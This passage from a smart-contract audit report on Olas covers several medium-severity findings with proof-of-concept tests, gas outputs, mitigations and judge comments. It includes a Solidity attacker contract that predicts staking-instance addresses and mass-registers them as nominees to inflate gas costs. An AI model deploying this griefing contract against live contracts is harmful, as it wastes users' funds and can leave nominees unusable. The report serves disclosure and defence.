The issue is that this instance was added as nominee in epoch 2 (so `mapLastClaimedStakingEpochs` was set to 2), but it was created at epoch 100. So, from epoch 2 to 100, the instance was not created yet; thus, obviously there is no reward to claim during these epochs. But, the for-loop in the function `calculateStakingIncentives` goes over epoch 2 to `2 + numClaimedEpochs`; among that, epoch 2 to 100 are useless for this instance. If the gap between the time that the instance is added as nominee and the time that it is created is large, it will be a large gas consumption for going over epochs that are useless for that instance.


```

function calculateStakingIncentives(
    uint256 numClaimedEpochs,
    uint256 chainId,
    bytes32 stakingTarget,
    uint256 bridgingDecimals
) public returns (
    uint256 totalStakingIncentive,
    uint256 totalReturnAmount,
    uint256 lastClaimedEpoch,
    bytes32 nomineeHash
) {
    //.....
    for (uint256 j = firstClaimedEpoch; j < lastClaimedEpoch; ++j) {
        //.....
    }
    //.....
}

```

<https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L881>

The following code shows the code that the attacker use to executed the attack by calling the function run. It sets the nonce from 0 to 10000, and predict the address of instances if it is created with implementation of StakingToken or StakingNativeToken. Then the attacker adds these predicted addresses as nominee.

```

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

interface IStakingFactory {
    function getProxyAddressWithNonce(
        address implementation,
        uint256 localNonce
    ) external view returns (address);
}

interface IVoteWeighting {
    function addNomineeEVM(address account, uint256 chainId) external;
}

contract OIasPoC {
    IStakingFactory iStakingFactory;
    IVoteWeighting iVoteWeighting;
    address public immutable StakingToken;
}

```

```

address public immutable StakingNativeToken;

constructor(
    address _stakingFactory,
    address _voteWeighting,
    address _stakingToken,
    address _stakingNativeToken;
) {
    iStakingFactory = IStakingFactory(_stakingFactory);
    iVoteWeighting = IVoteWeighting(_voteWeighting);
    StakingToken = _stakingToken;
    StakingNativeToken = _stakingNativeToken;
}

function run() public {
    address instance;
    for (uint256 i = 0; i < 10000; i++) {
        // predict the address of the instance with implementation
        address of **StakingToken** and nonce 0 to 10000
        instance = iStakingFactory.getProxyAddressWithNonce(
            StakingToken,
            i
        );
        // add this instance as nominee
        iVoteWeighting.addNomineeEVM(instance, 1);

        // predict the address of the instance with implementation
        address of **StakingNativeToken** and nonce 0 to 10000
        instance = iStakingFactory.getProxyAddressWithNonce(
            StakingNativeToken,
            i
        );
        // add this instance as nominee
        iVoteWeighting.addNomineeEVM(instance, 1);
    }
}
}

```

Tests

Test 1 (Normal case):

In the following test, it is assumed epochLen = 10 days. The nominee is added and voted for at epoch 102, and the function calculateStakingIncentives is called at epoch 103. It shows the gas consumed to call calculateStakingIncentives is equal to 326_733, because it iterates over only one epoch (from 102 to 103).

```

it("Normal case", async () => {
  // Take a snapshot of the current state of the blockchain
  const snapshot = await helpers.takeSnapshot();

  // Set staking fraction to 100%
  await tokenomics.changeIncentiveFractions(0, 0, 0, 0, 0,
100);

  // Changing staking parameters
  await tokenomics.changeStakingParams(50, 10);

  // Checkpoint to apply changes
  await helpers.time.increase(epochLen);
  await tokenomics.checkpoint();

  // Unpause the dispenser
  await dispenser.setPauseState(0);

  // Checkpoint to get to the next epochs
  for (let i = 0; i < 100; i++) {
    await helpers.time.increase(epochLen);
    await tokenomics.checkpoint();
  }

  console.log("nominee added at epoch number: ", await
tokenomics.epochCounter());

  // Add a staking instance as a nominee
  await vw.addNominee(stakingInstance.address, chainId);

  console.log("nominee is voted at epoch number: ", await
tokenomics.epochCounter());

  // Vote for the nominee
  await vw.setNomineeRelativeWeight(stakingInstance.address,
chainId, defaultWeight);

  await helpers.time.increase(epochLen);
  await tokenomics.checkpoint();

  const stakingTarget =
convertAddressToBytes32(stakingInstance.address);

  console.log("calculateStakingIncentives is called at epoch
number: ", await tokenomics.epochCounter());

```

```

        console.log("Gas consumed to call the
calculateStakingIncentives function: ",
            await
dispenser.estimateGas.calculateStakingIncentives(101, chainId,
stakingTarget, bridgingDecimals));

        // Calculate staking incentives
        await dispenser.calculateStakingIncentives(101, chainId,
            stakingTarget, bridgingDecimals);

        // Restore to the state of the snapshot
        await snapshot.restore();
    });

```

The result is:

```

DispenserStakingIncentives
  Staking incentives
nominee added at epoch number: 102
nominee is voted at epoch number: 102
calculateStakingIncentives is called at epoch number: 103
Gas consumed to call the calculateStakingIncentives function: BigNumber
{ value: "326733" }
    ✓ Normal case

```

Test 2 (Malicious case):

In the following test, it is assumed epochLen = 10 days. The nominee is added at epoch 2 and voted for at epoch 102, and the function calculateStakingIncentives is called at epoch 103. It shows the gas consumed to call calculateStakingIncentives is equal to 1_439_295, because it iterates over 101 epoch (from 2 to 103).

```

it("Malicious case", async () => {
    // Take a snapshot of the current state of the blockchain
    const snapshot = await helpers.takeSnapshot();

    // Set staking fraction to 100%
    await tokenomics.changeIncentiveFractions(0, 0, 0, 0, 0,
100);

    // Changing staking parameters
    await tokenomics.changeStakingParams(50, 10);

```

```

// Checkpoint to apply changes
await helpers.time.increase(epochLen);
await tokenomics.checkpoint();

// Unpause the dispenser
await dispenser.setPauseState(0);

console.log("nominee added at epoch number: ", await
tokenomics.epochCounter());

// Add a staking instance as a nominee
await vw.addNominee(stakingInstance.address, chainId);

// Checkpoint to get to the next epochs
for (let i = 0; i < 100; i++) {
    await helpers.time.increase(epochLen);
    await tokenomics.checkpoint();
}

console.log("nominee is voted at epoch number: ", await
tokenomics.epochCounter());

// Vote for the nominee
await vw.setNomineeRelativeWeight(stakingInstance.address,
chainId, defaultWeight);

await helpers.time.increase(epochLen);
await tokenomics.checkpoint();

const stakingTarget =
convertAddressToBytes32(stakingInstance.address);

console.log("calculateStakingIncentives is called at epoch
number: ", await tokenomics.epochCounter());

console.log("Gas consumed to call the
calculateStakingIncentives function: ",
    await
dispenser.estimateGas.calculateStakingIncentives(101, chainId,
stakingTarget, bridgingDecimals));

// Calculate staking incentives
await dispenser.calculateStakingIncentives(101, chainId,
    stakingTarget, bridgingDecimals);

```

```

        // Restore to the state of the snapshot
        await snapshot.restore();
    });

```

The result is:

```

nominee added at epoch number: 2
nominee is voted at epoch number: 102
calculateStakingIncentives is called at epoch number: 103
Gas consumed to call the calculateStakingIncentives function: BigNumber
{ value: "1439295" }
    ✓ Malicious case

```

Test 1 and 2 show that if a nominee is added long before it is created, calculating the incentives allocated to it will be highly gas consuming because it iterates over many epochs; from the epoch it is added to the epoch it is created (which are useless since no incentives are allocated during this range to the nominee). Test 2 shows that the consumed gas is 5x higher than Test 1.

Recommended Mitigation Steps

There are two recommendations:

- First: when adding a nominee, it checks that the nominee is created already or not, so a malicious user can not add nominee long before it is created.

```

function addNomineeEVM(address account, uint256 chainId) external {
    require(ISTakingFactory.mapInstanceParams(account).implementation
!= address(0), " the nominee is not created yet");

    // ....
}

```

- Second: include the `initPayload` into the salt, so that the address of the instance would depend on that.

```

function createStakingInstance(
    address implementation,
    bytes memory initPayload

```

```

    ) external returns (address payable instance) {
        //.....

        bytes32 salt = keccak256(abi.encodePacked(block.chainid,
localNonce, keccak256(initPayload)));

        //.....

    }

```

Assessed type

Context

[kupermind \(Olas\) acknowledged and commented:](#)

The address randomization need is correctly pointed out.

FYI the suggested mitigation 1 is not possible as nominees come from any chain, and there is no way to see if the contract exist on other chains.

[0xA5DF \(judge\) commented:](#)

Requiring more gas would probably be low, but it seems like due to MAX_NUM_WEEKS the nominee would become unusable at some point. Marking as medium.

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[\[M-04\] Loss of incentives if total weight in an epoch is zero](#)

Submitted by [fyamf](#)

If during an epoch, the total weight is zero, then the staking incentives related to that epoch will be lost, while it is expected that they will be refunded to tokenomics inflation.

Proof of Concept

During claiming the staking incentives through `claimStakingIncentives`, the function `calculateStakingIncentives` is called to calculate the `totalStakingIncentive` and `totalReturnAmount` which means the total staking incentives that should be distributed to staking instances and total incentives that should be refunded to tokenomics inflation.

```

function claimStakingIncentives(
    uint256 numClaimedEpochs,

```

```

        uint256 chainId,
        bytes32 stakingTarget,
        bytes memory bridgePayload
    ) external payable {
        //.....

        (uint256 stakingIncentive, uint256 returnAmount, uint256
lastClaimedEpoch, bytes32 nomineeHash) =
            calculateStakingIncentives(numClaimedEpochs, chainId,
stakingTarget, bridgingDecimals);

        //.....

        if (returnAmount > 0) {
            ITokenomics(tokenomics).refundFromStaking(returnAmount);
        }

        //.....

    }

```

<https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L953>

In this function, the staking weight and total weight for each epoch is calculated. If available staking incentives is higher than total weight, then the extra part (diff) will be refunded to tokenomics inflation.

```

        uint256 availableStakingAmount =
stakingPoint.stakingIncentive;

        uint256 stakingDiff;
        if (availableStakingAmount > totalWeightSum) {
            stakingDiff = availableStakingAmount - totalWeightSum;
            availableStakingAmount = totalWeightSum;
        }

        //.....

        returnAmount = (stakingDiff * stakingWeight) / 1e18;

```

<https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L903>

Then, the rest of the available staking incentives will be distributed to the staking instance based on the staking weight assigned to it.

```
stakingIncentive = (availableStakingAmount * stakingWeight) / 1e18;
```

<https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L916>

The issue is that if the total weight for an epoch is equal to zero, no staking incentives will be refunded to tokenomics inflation. While, it is expected that unused/extra staking incentives be returned to tokenomics inflation. The reason is that when `totalWeightSum` is zero (obviously the `stakingWeight` will be zero either), the following if-clause will be executed.

```
if (stakingWeight < uint256(stakingPoint.minStakingWeight) * 1e14) {  
    // If vote weighting staking weight is lower than the defined  
    threshold - return the staking incentive  
    returnAmount = ((stakingDiff + availableStakingAmount) *  
stakingWeight) / 1e18;  
} else {  
    //.....  
}
```

<https://github.com/code-423n4/2024-05-olas/blob/main/tokenomics/contracts/Dispenser.sol#L911>

Since `stakingWeight` is zero, the `returnAmount` would be zero either. As a result `returnAmount = 0`, no incentives related to this epoch will be refunded to tokenomics inflation, and they will be lost.

Tests

Test 1 (simple case):

In the following test case, a nominee is added, but no one has voted for it. So, the total weight in epoch 2 is zero. After the checkpoint (epoch 2 is ended, and now we are in epoch 3), the function `calculateStakingIncentives` is called to calculate the amount of incentives related to epoch 2 that are assigned to this nominee, as well as the amount of incentives that are extra and should be refunded. It returns `totalStakingIncentive = 0` as expected (because no one had voted for it), but `totalReturnAmount = 0` which is not expected. By calling `(await tokenomics.mapEpochStakingPoints(2)).stakingIncentive`, it shows that the available staking incentives in epoch 2 was equal to `259644210229512049587306`, so there are incentives available in this epoch, but they are not refunded to tokenomics inflation, thus they are lost.

```

    it("loss of incentives if the total weight sum is zero", async ()
=> {
    // Take a snapshot of the current state of the blockchain
    const snapshot = await helpers.takeSnapshot();

    // Set staking fraction to 100%
    await tokenomics.changeIncentiveFractions(0, 0, 0, 0, 0,
100);

    // Changing staking parameters
    await tokenomics.changeStakingParams(50, 10);

    // Checkpoint to apply changes
    await helpers.time.increase(epochLen);
    await tokenomics.checkpoint();

    // Unpause the dispenser
    await dispenser.setPauseState(0);

    // Add a staking instance as a nominee
    await vw.addNominee(stakingInstance.address, chainId);

    // Checkpoint to apply changes
    await helpers.time.increase(epochLen);
    await tokenomics.checkpoint();

    const stakingTarget =
convertAddressToBytes32(stakingInstance.address);
    // Calculate staking incentives
    const stakingIncentives = await
dispenser.callStatic.calculateStakingIncentives(numClaimedEpochs,
chainId,
        stakingTarget, bridgingDecimals);

    // this shows the total staking incentives and return amount
in epoch 2
    console.log("total staking incentive: ", await
stakingIncentives.totalStakingIncentive);
    console.log("total return amount: ", await
stakingIncentives.totalReturnAmount);

    // 2 is the epoch that the total weight sum is zero
    console.log("available staking amount: ", (await
tokenomics.mapEpochStakingPoints(2)).stakingIncentive);

    // Restore to the state of the snapshot
    await snapshot.restore();

```

```
});
```

Output is:

```
DispenserStakingIncentives
  Staking incentives
total staking incentive: BigNumber { value: "0" }
total return amount: BigNumber { value: "0" }
available staking amount: BigNumber { value: "259644210229512049587306"
}
  ✓ loss of incentives if the total weight sum is zero
```

Test 2 (more realistic case):

In the following test case, a nominee is added and 1 vote is allocated to it at epoch 2. So, at week 2844, the nominee's weight is nonzero.

Then, one epoch length (equal to 10 days) is passed, and the checkpoint is called. Then, 0 vote is allocated to the nominee, so the nominee's weight will be zero at week 2845.

Again, one epoch is passed, and the checkpoint is called (now we are at epoch 4). Then, `checkpointNominee` is called to update the nominee's weight and total sum. It shows that the nominee's relative weight at week 2844 is 100%, and its relative weight at week 2845 is 0%, as expected.

Then, `calculateStakingIncentives` is called to calculate the nominees incentives at epochs 2 and 3. It shows that `totalStakingIncentive` allocated to the nominee is equal to 50, and `totalReturnAmount` is equal to 86548378823584027017230. While, available staking incentives in epoch 2 and 3 are 86548378823584027017280 and 86548178481042039748640, respectively.

It was expected that `totalStakingIncentive + totalReturnAmount` be equal to sum of available staking incentives at epoch 2 and 3, but it shows that it is equal to staking incentives at epoch 2 only. In other words, since the total weight at epoch 3 is zero, the staking incentives available at that epoch is neither allocated to the nominee nor returned to the tokenomics inflation. So, they are lost.

```
/*global describe, context, beforeEach, it*/

const { expect } = require("chai");
const { ethers } = require("hardhat");
const helpers = require("@nomicfoundation/hardhat-network-helpers");
const { hrtime } = require("process");
```

```
describe("PoC", function () {
    const AddressZero = ethers.constants.AddressZero;
    const initialMint = "1000000000000000000000000"; // 1_000_000
    const epochLen = 10 * 24 * 60 * 60;
    const retainer = "0x" + "0".repeat(24) + "5".repeat(40);
    const maxNumClaimingEpochs = 10;
    const maxNumStakingTargets = 100;
    const chainId = 31337;
    const maxVoteWeight = 10000;
    const defaultWeight = 1000;
    const oneOLASBalance = ethers.utils.parseEther("1");
    const oneYear = 365 * 86400;
    const oneWeek = 7 * 86400;
    const numClaimedEpochs = 1;
    const bridgingDecimals = 18;

    let olas;
    let ve;
    let vw;
    let signers;
    let deployer;
    let treasury;
    let dispenser;

    function convertAddressToBytes32(account) {
        return ("0x" + "0".repeat(24) + account.slice(2)).toLowerCase();
    }

    function getWeek(ts) {
        return Math.floor(ts / oneWeek);
    }

    beforeEach(async function () {
        const OLAS = await ethers.getContractFactory("OLAS");
        olas = await OLAS.deploy();
        await olas.deployed();

        signers = await ethers.getSigners();
        deployer = signers[0];
        await olas.mint(deployer.address, initialMint);

        const VE = await ethers.getContractFactory("veOLAS");
        ve = await VE.deploy(olas.address, "Voting Escrow OLAS",
            "veOLAS");
        await ve.deployed();
```

```

    const VoteWeighting = await
ethers.getContractFactory("VoteWeighting");
    vw = await VoteWeighting.deploy(ve.address);
    await vw.deployed();

    const MockStakingProxy = await
ethers.getContractFactory("MockStakingProxy");
    stakingInstance = await MockStakingProxy.deploy(olas.address);
    await stakingInstance.deployed();

    const MockStakingFactory = await
ethers.getContractFactory("MockStakingFactory");
    stakingProxyFactory = await MockStakingFactory.deploy();
    await stakingProxyFactory.deployed();

    // Add a default implementation mocked as a proxy address itself
    await
stakingProxyFactory.addImplementation(stakingInstance.address,
stakingInstance.address);

    const Dispenser = await ethers.getContractFactory("Dispenser");
    dispenser = await Dispenser.deploy(olas.address,
deployer.address, deployer.address, deployer.address,
    retainer, maxNumClaimingEpochs, maxNumStakingTargets);
    await dispenser.deployed();

    await vw.changeDispenser(dispenser.address);

    const Treasury = await ethers.getContractFactory("Treasury");
    treasury = await Treasury.deploy(olas.address, deployer.address,
deployer.address, dispenser.address);
    await treasury.deployed();

    // Update for the correct treasury contract
    await dispenser.changeManagers(AddressZero, treasury.address,
AddressZero);

    const tokenomicsFactory = await
ethers.getContractFactory("Tokenomics");
    // Deploy master tokenomics contract
    const tokenomicsMaster = await tokenomicsFactory.deploy();
    await tokenomicsMaster.deployed();

    const proxyData =
tokenomicsMaster.interface.encodeFunctionData("initializeTokenomics",

```

```

        [olas.address, treasury.address, deployer.address,
dispenser.address, deployer.address, epochLen,
        deployer.address, deployer.address, deployer.address,
AddressZero]);
        // Deploy tokenomics proxy based on the needed tokenomics
initialization
        const TokenomicsProxy = await
ethers.getContractFactory("TokenomicsProxy");
        const tokenomicsProxy = await
TokenomicsProxy.deploy(tokenomicsMaster.address, proxyData);
        await tokenomicsProxy.deployed();

        // Get the tokenomics proxy contract
        tokenomics = await ethers.getContractAt("Tokenomics",
tokenomicsProxy.address);

        // Change the tokenomics and treasury addresses in the dispenser
to correct ones
        await dispenser.changeManagers(tokenomics.address,
treasury.address, vw.address);

        // Update tokenomics address in treasury
        await treasury.changeManagers(tokenomics.address, AddressZero,
AddressZero);

        // Give treasury the minter role
        await olas.changeMinter(treasury.address);

    });

it("Loss of incentives", async () => {
    // Take a snapshot of the current state of the blockchain
    const snapshot = await helpers.takeSnapshot();

    // Lock one OLAS into veOLAS
    await olas.approve(ve.address, oneOLASBalance);
    await ve.createLock(oneOLASBalance, oneYear);

    // Set staking fraction to 100%
    await tokenomics.changeIncentiveFractions(0, 0, 0, 0, 0, 100);
    // Changing staking parameters
    await tokenomics.changeStakingParams(50, 10);

    // Checkpoint to apply changes
    await helpers.time.increase(epochLen);

```

```

    await tokenomics.checkpoint();

    console.log("Nominee added and 1 vote is allocated at epoch: ",
await tokenomics.epochCounter()); // 2

    // Unpause the dispenser
    await dispenser.setPauseState(0);

    // Add a staking instance as a nominee
    await vw.addNomineeEVM(stakingInstance.address, chainId);

    const stakingTarget =
convertAddressToBytes32(stakingInstance.address);
    const nomineeHash = await vw.getNomineeHash(stakingTarget,
chainId);

    // Vote for the nominee
    await vw.voteForNomineeWeights(stakingTarget, chainId, 1); // 1
vote is allocated

    const timeWeightWhenVotedNonzero = getWeek(await
vw.timeWeight(nomineeHash));
    console.log("nominee time weight in week when 1 vote is
allocated: ", timeWeightWhenVotedNonzero);

    // Checkpoint to apply changes
    await helpers.time.increase(epochLen);
    await tokenomics.checkpoint();

    console.log("Zero vote is allocated to the nominee at epoch: ",
await tokenomics.epochCounter()); // 3

    await vw.voteForNomineeWeights(stakingTarget, chainId, 0); //
zero vote is allocated

    console.log("nominee time weight in week when zero vote is
allocated: ", getWeek(await vw.timeWeight(nomineeHash)));

    await helpers.time.increase(epochLen);
    await tokenomics.checkpoint();

    await vw.checkpointNominee(stakingTarget, chainId); // to update
the nominee's relative weight and total sum

    console.log("Relative weight and total sum at week 2844: ",
(await vw.nomineeRelativeWeight(stakingTarget, chainId,

```

```

timeWeightWhenVotedNonzero * oneWeek)));
    console.log("Relative weight and total sum at week 2845: ",
(await vw.nomineeRelativeWeight(stakingTarget, chainId,
(timeWeightWhenVotedNonzero + 1) * oneWeek)));

    // Calculate staking incentives
    const stakingIncentives = await
dispenser.callStatic.calculateStakingIncentives(10, chainId,
    stakingTarget, bridgingDecimals);

    console.log("total staking incentive: ", await
stakingIncentives.totalStakingIncentive);
    console.log("total return amount: ", await
stakingIncentives.totalReturnAmount);

    console.log("available staking incentives at epoch 2: ", (await
tokenomics.mapEpochStakingPoints(2)).stakingIncentive);
    console.log("available staking incentives at epoch 3: ", (await
tokenomics.mapEpochStakingPoints(3)).stakingIncentive);

    // Restore to the state of the snapshot
    await snapshot.restore();
  });
});

```

The result is:

```

PoC
Nominee added and 1 vote is allocated at epoch: 2
nominee time weight in week when 1 vote is allocated: 2844
Zero vote is allocated to the nominee at epoch: 3
nominee time weight in week when zero vote is allocated: 2845
Relative weight and total sum at week 2844: [
  BigNumber { value: "10000000000000000000" },
  BigNumber { value: "23493126988800" },
  relativeWeight: BigNumber { value: "10000000000000000000" },
  totalSum: BigNumber { value: "23493126988800" }
]
Relative weight and total sum at week 2845: [
  BigNumber { value: "0" },
  BigNumber { value: "0" },

```



```

    relativeWeight: BigNumber { value: "0" },
    totalSum: BigNumber { value: "0" }
  ]
  total staking incentive: BigNumber { value: "50" }
  total return amount: BigNumber { value: "86548378823584027017230" }
  available staking incentives at epoch 2: BigNumber { value:
  "86548378823584027017280" }
  available staking incentives at epoch 3: BigNumber { value:
  "86548178481042039748640" }
    ✓ Loss of incentives

```

Recommended Mitigation Steps

It is recommended to handle the case when total weight is zero. Moreover, it is necessary to record which epoch had zero total weight, so if its staking incentives are refunded, it should not be refunded again.

```

mapping(uint256 => bool) public zeroWeighEpochRefunded;

function calculateStakingIncentives(
    uint256 numClaimedEpochs,
    uint256 chainId,
    bytes32 stakingTarget,
    uint256 bridgingDecimals
) public returns (
    uint256 totalStakingIncentive,
    uint256 totalReturnAmount,
    uint256 lastClaimedEpoch,
    bytes32 nomineeHash
) {
    //.....
    for (uint256 j = firstClaimedEpoch; j < lastClaimedEpoch; ++j) {
        //....

        if(zeroWeighEpochRefunded[j]){
            // this epoch has zero total weight and all its staking
incentives are already refunded to tokenomics inflation
            continue;
        }

        if (totalWeightSum == 0) {

            returnAmount = stakingPoint.stakingIncentive;
            zeroWeighEpochRefunded[j] = true;

```

```

        } else if (stakingWeight <
uint256(stakingPoint.minStakingWeight) * 1e14) {
            //....
        } else {
            //....
        }

        //....
    }
    //.....
}

```

Assessed type

Context

[kupermind \(Olas\) confirmed](#)

[OxA5DF \(judge\) decreased severity to Medium and commented:](#)

Marking as medium since:

- There's no real/classic loss of assets here, this is just deducted from the inflation caps.
- This happens only under the condition that there's zero total weight.

[Olas mitigated](#)

[Varun_05 \(warden\) commented:](#)

Fixed.

[M-05] Changing VoteWeighting contract can result in lost staking incentives

Submitted by [OxSwahili](#)

The Dispenser contract provides functionality for the owner to update manager accounts at any time, including changing the VoteWeighting contract.

```

function changeManagers(address _tokenomics, address _treasury, address
_voteWeighting) external {
    // Check for the contract ownership
    if (msg.sender != owner) {
        revert OwnerOnly(msg.sender, owner);
    }

    // Change Tokenomics contract address
    if (_tokenomics != address(0)) {

```

```

        tokenomics = _tokenomics;
        emit TokenomicsUpdated(_tokenomics);
    }

    // Change Treasury contract address
    if (_treasury != address(0)) {
        treasury = _treasury;
        emit TreasuryUpdated(_treasury);
    }

    // Change Vote Weighting contract address
    if (_voteWeighting != address(0)) {
        voteWeighting = _voteWeighting;
        emit VoteWeightingUpdated(_voteWeighting);
    }
}

```

Changing the VoteWeighting contract mid-flight can lead to lost staking incentives due to `mapLastClaimedStakingEpochs` state reset to the current epoch.

Proof of Concept

Consider the following scenario:

1. Dispenser owner decides to swap the current VoteWeighting contract for some reason, e.g., a critical vulnerability has been found with the VoteWeighting contract.
2. The new VoteWeighting contract does not have Nominee X, a popular staking program that has earned huge rewards since the protocol was deployed. Nominee X has not yet claimed staking rewards for 3 epochs.
3. Bob notices that a new VoteWeighting contract has been set, and decides to disrupt the party by registering staking program X **again** by calling `VoteWeighting::addNominee(X, chainId)`. Since the Dispenser contract does not check if Nominee X has already been set, this results in a reset to the current epoch.

```
mapLastClaimedStakingEpochs[X] = ITokenomics(tokenomics).epochCounter().
```

Now, when `claimStakingIncentives` is called for Nominee X, staking incentives for 2 epochs will have been lost.

For a coded POC:

1. Add these lines to `Tokenomics/test/Dispenser.t.sol::Ln 24`:

```
MockVoteWeighting internal vw;
```

```
MockVoteWeighting internal vw2;
```

2. Add these lines to `Tokenomics/test/Dispenser.t.sol::Ln 64`:

```
vw = new MockVoteWeighting(address(dispenser));  
vw2 = new MockVoteWeighting(address(dispenser));
```

3. Add this test to `Tokenomics/test/Dispenser.t.sol::DispenserTest Ln 100`:

```
function testChangeVoteWeightLostIncenctives() public{  
    dispenser.setPauseState(Pause.Unpaused);  
    address deal = makeAddr("deal");  
    vw.addNominee(deal,1);  
    uint256 epoch =  
dispenser.mapLastClaimedStakingEpochs(keccak256(abi.encode(Nominee(bytes3  
2(uint256(uint160(deal))),1))));  
    assertEq(tokenomics.epochCounter(),epoch);  
    // Move at least epochLen seconds in time  
    vm.warp(block.timestamp + epochLen + 10);  
    // Mine a next block to avoid a flash loan attack condition  
    vm.roll(block.number + 1);  
  
    // Start new epoch and calculate tokenomics parameters and  
rewards  
    tokenomics.checkpoint();  
    assertGt(tokenomics.epochCounter(),epoch);  
    // Get the last settled epoch counter  
    dispenser.changeManagers(address(0), address(0), address(vw2));  
    vw2.addNominee(deal,1);  
    uint256 epoch2 =  
dispenser.mapLastClaimedStakingEpochs(keccak256(abi.encode(Nominee(bytes3  
2(uint256(uint160(deal))),1))));  
    assertGt(epoch2,epoch);  
    // Move at least epochLen seconds in time  
  
}
```

Recommended Mitigation Steps

Add code to `Dispenser::changeManagers` to check that no Nominee exists when changing the `VoteWeighting` contract to a new one.

Assessed type

Invalid Validation

[kupermind \(Olas\) disputed and commented:](#)

VoteWeighting is a very sensitive contract, and it's almost impossible that no nominee exists when VoteWeighting is changed.

It is an absolute responsibility of the DAO to take steps in order to minimize the inflation loss (which is still possible to recover by adjusting the inflation schedule in the years ahead).

Here are the possible steps:

1. Pause the dispenser and wait for all the targets to claim incentives.
2. Re-create VoteWeighting storage
3. Create a wrapper for VoteWeighting, as we have done for veOLAS when wrapping it under wveOLAS contract.
4. Manually process some of the queued requests by the DAO-controlled `processDataMaintenance()` function.

There are several mitigation steps. However, note that the incentives are not minted unless claimed; thus, pausing the staking incentives mechanism is sufficient to take care of all the mess around VoteWeighting re-deployment and re-setting the inflation where needed.

[OxA5DF \(judge\) decreased severity to Medium and commented:](#)

Regarding severity - given that this happens only under certain conditions and the loss is limited, this isn't more than medium.

It's true that this issue can be addressed by doing the change in a certain way (and therefore, a change to the code isn't necessarily required), but I'm not convinced that this is the trivial path that would be taken if this issue hadn't been reported.

Therefore, the issue/concern that's raised here seems valid and qualifies as medium severity.

[kupermind \(Olas\) commented:](#)

Disagree here. Tracking for the zero amount of nominees as suggested is impossible, yet very expensive - need to literally remove all the nominees by the DAO.

A very easy fix that does not cost any staking inflation loss:

1. Initiate all the nominees claim of incentives, as those are ownerless;
2. Pause staking incentives;
3. Change VoteWeighting contract;
4. Unpause staking incentives.

As the epoch lasts for a long period of time, and staking incentives are distributed only by the last week of epoch values, there's a lot of time to re-shape VoteWeighting by the given scenario.

[OxA5DF \(judge\) commented:](#)

Your comment seems to address whether the mitigation is a good idea or the best way to address the issue. But as for judging the question is whether the issue raised here is valid or not.

In other words, in a world where this issue wasn't reported, could this issue occur? Correct me if I'm wrong, but it seems to me that the answer is yes.

[kupermind \(Olas\) acknowledged and commented:](#)

Ok, this is possible then.

Olas mitigated:

Added this to the deployment procedure.

[Varun_05 \(warden\) commented:](#)

There's no fix to this issue. Best is that the admin takes right actions before changing the voteWeighting contract.

[\[M-06\] Unstake function reverts because of use of outdated/stale serviceIds array.](#)

Submitted by [Varun_05](#)

<https://github.com/code-423n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/registries/contracts/staking/StakingBase.sol#L823>
<https://github.com/code-423n4/2024-05-olas/blob/3ce502ec8b475885b90668e617f3983cea3ae29f/registries/contracts/staking/StakingBase.sol#L840>

Impact

When unstake function is called for a specific service id checkpoint function is called and if the checkpoint is successful then the serviceIds array retrieved from the checkpoint function might be outdated/stale because of eviction of some service ids. Due to the use of outdated serviceIds array, the unstake function reverts.

Proof of Concept

Following is the unstake function:

```
function unstake(uint256 serviceId) external returns (uint256 reward) {
    ServiceInfo storage sInfo = mapServiceInfo[serviceId];
    // Check for the service ownership
    if (msg.sender != sInfo.owner) {
```

```

        revert OwnerOnly(msg.sender, sInfo.owner);
    }

    // Get the staking start time
    // Note that if the service info exists, the service is staked or
    evicted, and thus start time is always valid
    uint256 tsStart = sInfo.tsStart;

    // Check that the service has staked long enough, or if there are
    no rewards left
    uint256 ts = block.timestamp - tsStart;
    if (ts <= minStakingDuration && availableRewards > 0) {
        revert NotEnoughTimeStaked(serviceId, ts,
minStakingDuration);
    }

    // Call the checkpoint
    (uint256[] memory serviceIds, , , , uint256[] memory
evictServiceIds) = checkpoint();

    // If the checkpoint was not successful, the serviceIds set is
    not returned and needs to be allocated
    if (serviceIds.length == 0) {
        serviceIds = getServiceIds();
        evictServiceIds = new uint256[](serviceIds.length);
    }

    // Get the service index in the set of services
    // The index must always exist as the service is currently
    staked, otherwise it has no record in the map
    uint256 idx;
    bool inSet;
    for (; idx < serviceIds.length; ++idx) {
        // Service is still in a global staking set if it is found in
        the services set,
        // and is not present in the evicted set
        if (evictServiceIds[idx] == serviceId) {
            break;
        } else if (serviceIds[idx] == serviceId) {
            inSet = true;
            break;
        }
    }

    // Get the unstaked service data
    reward = sInfo.reward;

```

```

uint256[] memory nonces = sInfo.nonces;
address multisig = sInfo.multisig;

// Clear all the data about the unstaked service
// Delete the service info struct
delete mapServiceInfo[serviceId];

// Update the set of staked service Ids
// If the index was not found, the service was evicted and is not
part of staked services set
if (inSet) {
    setServiceIds[idx] = setServiceIds[setServiceIds.length - 1];
    setServiceIds.pop();
}

// Transfer the service back to the owner
// Note that the reentrancy is not possible due to the
ServiceInfo struct being deleted
IService(serviceRegistry).safeTransferFrom(address(this),
msg.sender, serviceId);

// Transfer accumulated rewards to the service multisig
if (reward > 0) {
    _withdraw(multisig, reward);
}

emit ServiceUnstaked(epochCounter, serviceId, msg.sender,
multisig, nonces, reward);
}

```

In order to show the error, let's select the serviceId to be removed is the last in setServiceIds array. Let's assume that the current setServiceIds (global array) is of length 10. So the service id need to be unstake is setServiceIds[9]. The owner of setServiceIds[9] calls the unstake function.

As can be seen from the following lines, the checkpoint function is called in order to retrieve serviceIds and evictServiceIds (i.e., the service ids that have been evicted).

```

// Call the checkpoint
(uint256[] memory serviceIds, , , , uint256[] memory
evictServiceIds) = checkpoint();

```

Vulnerability lies in the serviceIds retrieved, so let's look at how it is retrieved.

Now look at the checkpoint function:


```

function checkpoint() public returns (
    uint256[] memory,
    uint256[][] memory,
    uint256[] memory,
    uint256[] memory,
    uint256[] memory evictServiceIds
)
{
    // Calculate staking rewards
    (uint256 lastAvailableRewards, uint256 numServices, uint256
totalRewards,
    uint256[] memory eligibleServiceIds, uint256[] memory
eligibleServiceRewards,
    uint256[] memory serviceIds, uint256[][] memory
serviceNonces,
